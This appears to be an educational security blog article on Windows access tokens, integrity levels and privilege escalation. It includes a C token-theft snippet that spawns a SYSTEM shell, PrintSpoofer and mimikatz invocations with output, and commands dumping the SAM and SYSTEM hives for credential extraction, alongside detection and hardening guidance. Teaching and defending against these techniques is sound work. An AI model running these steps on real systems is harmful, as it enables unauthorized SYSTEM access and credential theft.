Windows Access Tokens Deep Dive: Integrity Levels and Privileges

Windows Access Tokens Deep Dive: Integrity Levels and Privileges - article cover image Windows Privesc
Time it takes to read this article 8 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Every thread and process on Windows carries an access token — the kernel object that answers the question “who is this, and what are they allowed to do?” every time code touches a securable object. A token bundles the user’s SID, the SIDs of every group the user belongs to, a list of privileges (the Se*Privilege rights), a mandatory integrity level, and metadata such as the token type (primary vs impersonation) and, on modern systems, the UAC elevation state. When the Security Reference Monitor evaluates a DACL, it does so entirely against the token presented — not against the human sitting at the keyboard. That indirection is what makes tokens both the backbone of Windows access control and one of the richest local privilege-escalation surfaces on the platform.

Understanding tokens matters because most Windows privilege escalation is not a memory-corruption exploit — it is token manipulation. A service account that holds SeImpersonatePrivilege can, through a chain of documented Windows APIs, end up running code as SYSTEM without a single CVE. An integrity level set too low silently blocks writes an attacker expected to succeed; one set too high hands over the machine. This article walks the token structure end to end: integrity levels, the privileges that actually matter offensively, how impersonation converts a privilege into a SYSTEM shell, and how defenders see the whole thing in telemetry.

Attack Prerequisites

Token-based escalation assumes you already have code execution in some context and want to move up. The specific ingredients vary by technique, but the common ones are:

  • Code execution as a service accountLOCAL SERVICE, NETWORK SERVICE, an IIS AppPool\<name> identity, or a SQL Server service account. These accounts are unprivileged in most respects but frequently hold SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege.
  • A held privilege worth abusingSeImpersonatePrivilege, SeBackupPrivilege, SeRestorePrivilege, SeDebugPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, or SeTcbPrivilege. Confirm with whoami /priv.
  • Medium integrity or higher for most useful writes; a Low-integrity context (a sandboxed browser tab) must first escape to Medium.
  • For impersonation: the ability to obtain a token to impersonate — usually by coercing a privileged process into authenticating to a listener you control (the “potato” family) or by opening an existing privileged process with SeDebugPrivilege.

How It Works

Windows defines integrity as a mandatory control that sits above the discretionary ACL. Each token carries an integrity SID — S-1-16-0 (Untrusted), S-1-16-4096 (Low), S-1-16-8192 (Medium), S-1-16-12288 (High), and S-1-16-16384 (System) — and each securable object can carry a mandatory label with a policy such as NO_WRITE_UP. A Low-integrity process cannot write to a Medium-integrity object even if the DACL would otherwise allow it, which is exactly why the AppContainer/Protected-Mode browser sandbox runs Low: a compromised renderer cannot scribble on the user’s Medium-integrity files. Standard users run Medium; elevated (UAC-confirmed) admins run High; core OS services run System. Escalation, in integrity terms, means moving your token’s label upward — which is generally a side effect of acquiring a higher-integrity token, not something you set directly.

Privileges are the other half. Unlike group membership, a privilege is a named capability the Local Security Authority grants a logon session, and many privileges are effectively “become SYSTEM” in a trench coat. SeDebugPrivilege lets you open any process — including LSASS — with full access, so you can inject or steal its token. SeBackupPrivilege and SeRestorePrivilege grant read/write that bypasses the DACL entirely, enough to read the SAM hive or overwrite a privileged binary. SeTakeOwnershipPrivilege lets you seize any object and rewrite its ACL. SeLoadDriverPrivilege loads kernel code. And SeImpersonatePrivilege — the crown jewel of service-account escalation — lets a thread run under the security context of any token it can get its hands on.

Impersonation is the mechanism that ties privileges to tokens. Tokens come in two flavors: a primary token attached to a process, and an impersonation token a thread can wear temporarily. When a service is coerced into authenticating to code the attacker controls, that authentication yields an impersonation token for the privileged caller. SeImpersonatePrivilege is the right that permits a thread to *assume* that token, and CreateProcessWithTokenW (which itself requires the privilege) or CreateProcessAsUserW (which requires SeAssignPrimaryTokenPrivilege) then spawns a new process as that identity. The result is a SYSTEM process created by an account that was never an administrator — no exploit, just the intended behavior of documented APIs stitched together.

Vulnerable Code / Configuration

The enabling condition is almost always an over-privileged service identity. Enumerating your own token is the first move — the presence of SeImpersonatePrivilege in Enabled state on a service account is the tell:

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                          State
============================= ==================================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token        Disabled
SeImpersonatePrivilege        Impersonate a client after auth      Enabled
SeCreateGlobalPrivilege       Create global objects                Enabled

C:\> whoami /groups | findstr /i "Mandatory Level"
Mandatory Label\High Mandatory Level  Label  S-1-16-12288
TEXT

Any code running as this identity is one impersonation away from SYSTEM. The canonical proof is the Windows API chain itself — open a target process token, duplicate it to a primary token, and launch a shell with it. The snippet below is the textbook SeDebugPrivilege variant that steals SYSTEM from an existing process such as winlogon.exe:

// Requires SeDebugPrivilege (enable it first with AdjustTokenPrivileges).
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, systemPid);
HANDLE hTok, hDup;
OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY, &hTok);
DuplicateTokenEx(hTok, MAXIMUM_ALLOWED, NULL,
                 SecurityImpersonation, TokenPrimary, &hDup);
// CreateProcessWithTokenW needs SeImpersonatePrivilege;
// CreateProcessAsUserW needs SeAssignPrimaryTokenPrivilege.
CreateProcessWithTokenW(hDup, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe",
                        NULL, 0, NULL, NULL, &si, &pi);
C

The equally common misconfiguration is a scheduled task or service that runs as SYSTEM but whose on-disk binary or containing directory is writable by a lower-privileged user, or a service whose token retains a privilege the operator never intended. The service host’s own privilege set is defined in its registry configuration; an administrator who adds SeImpersonatePrivilege to a custom service to “make impersonation work” widens this surface directly:

; Service privilege grants are visible in the SCM configuration.
C:\> sc qprivs MyCustomSvc
[SC] QueryServiceConfig2 SUCCESS
SERVICE_NAME: MyCustomSvc
        PRIVILEGES : SeImpersonatePrivilege
                     SeAssignPrimaryTokenPrivilege
TEXT

Walkthrough / Exploitation

The realistic end-to-end path from a service account starts with confirming the privilege, then coercing an authentication. The “potato” techniques all trick a SYSTEM process into authenticating to a local listener; the operator impersonates the resulting token. PrintSpoofer abuses the print spooler’s named pipe, while RoguePotato and GodPotato use RPC/DCOM OXID resolution. The invocation is deliberately simple because all the machinery is the API chain above:

:: From a shell running as an IIS AppPool / service identity with
:: SeImpersonatePrivilege. PrintSpoofer relays the spooler's token.
C:\> PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

C:\> whoami
nt authority\system
TEXT

If instead you already hold SeDebugPrivilege (common for backup and monitoring agents), skip the coercion entirely and steal a token from a live SYSTEM process. Mimikatz packages this as a single command, and Meterpreter’s incognito extension enumerates and impersonates delegation tokens the same way:

mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name  : NT AUTHORITY\SYSTEM
  -> Impersonated!
 * Process Token : {...} Medium  -> {...} System
TEXT

With SeBackupPrivilege, the escalation is data-centric rather than token-centric: the privilege lets you read files the DACL forbids, so you copy the registry hives and extract secrets offline — a technique that chains naturally into credential attacks (see the companion article on Volume Shadow Copies). SeRestorePrivilege is its write-side twin, letting you overwrite a privileged binary or plant a service:

:: SeBackupPrivilege bypasses the DACL on the hives.
C:\> reg save HKLM\SAM    C:\Windows\Temp\sam.save
C:\> reg save HKLM\SYSTEM C:\Windows\Temp\system.save
:: Then, offline, on the attacker host:
$ secretsdump.py -sam sam.save -system system.save LOCAL
TEXT

The common thread is that none of these steps exploit a bug. They compose documented behavior — OpenProcessToken, DuplicateTokenEx, CreateProcessWithTokenW, and the privileges that gate them — into a full escalation, which is precisely why token hardening is about *not granting the privilege* rather than patching.

Note: CreateProcessWithTokenW requires SeImpersonatePrivilege; CreateProcessAsUserW requires SeAssignPrimaryTokenPrivilege. Service accounts usually hold both, which is why every potato tool offers both code paths and falls back automatically. Note also that impersonation tokens have an impersonation level — only SecurityImpersonation or SecurityDelegation tokens are useful for spawning processes; a SecurityIdentification token lets you check identity but not act as it, a detail that trips up first attempts at token theft.

Opsec: UAC muddies enumeration: an administrator in the default configuration holds two tokens — a filtered Medium-integrity token used by default and a full High-integrity token available after elevation. whoami /priv from a non-elevated admin prompt shows a *stripped* privilege list, so SeDebugPrivilege appearing absent does not mean it is unavailable; it means you are running on the filtered token and need to elevate first.

Detection and Defense

Token abuse is high-signal if you are watching the right events, and largely preventable by minimizing which identities hold dangerous privileges:

  • Audit sensitive privilege use — enable *Audit Sensitive Privilege Use* and watch Security Event ID 4673 (privileged service called) and 4674 (operation on privileged object); 4703/4704 cover privilege adjustment and assignment.
  • Watch for token manipulationEvent ID 4624 logon events with Logon Type 9 (NewCredentials) and 4672 (special privileges assigned to new logon) frequently accompany impersonation; correlate a service account suddenly spawning cmd.exe/powershell.exe as SYSTEM.
  • Minimize privilege grants — do not add SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege to custom services that do not require them; audit existing grants with sc qprivs <svc> and remove excess with sc privs.
  • Deploy least-privilege service identities — prefer virtual/managed service accounts and constrain them; patch the spooler and disable it where unused to close the PrintSpoofer path.
  • EDR behavioral rules — flag the DuplicateTokenEx -> CreateProcessWithTokenW sequence, and any process whose parent integrity or SID differs from its own in a way consistent with token theft.
  • Constrain SeDebugPrivilege — it is granted to Administrators by default; restrict membership and monitor its use, since it is the master key to LSASS.

Real-World Impact

The potato lineage — Hot Potato, RottenPotato, JuicyPotato, RoguePotato, PrintSpoofer, and GodPotato — has been a mainstay of Windows internal assessments for the better part of a decade precisely because SeImpersonatePrivilege is the default on IIS and SQL service identities. Any web-app or database compromise that lands a shell as an application-pool account is, in practice, one tool away from SYSTEM. Token impersonation is catalogued by MITRE ATT&CK as T1134 (Access Token Manipulation), and SeBackupPrivilege-driven hive theft underpins a large share of credential extraction seen in real intrusions. The durable lesson from countless engagements is that Windows privilege escalation is far more often a configuration problem — an identity holding a privilege it never needed — than a software vulnerability.

Conclusion

Access tokens are where Windows identity, integrity, and privilege converge, and that makes them the single most productive local-escalation surface on the OS. The offensive playbook is small and stable: read your token with whoami /priv, find a dangerous privilege, and compose it with impersonation into a SYSTEM process. The defensive playbook mirrors it exactly — grant SeImpersonate, SeAssignPrimaryToken, SeDebug, SeBackup, and SeRestore to as few identities as possible, audit sensitive privilege use, and treat any service account holding these rights as a SYSTEM-equivalent asset that deserves SYSTEM-equivalent scrutiny.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL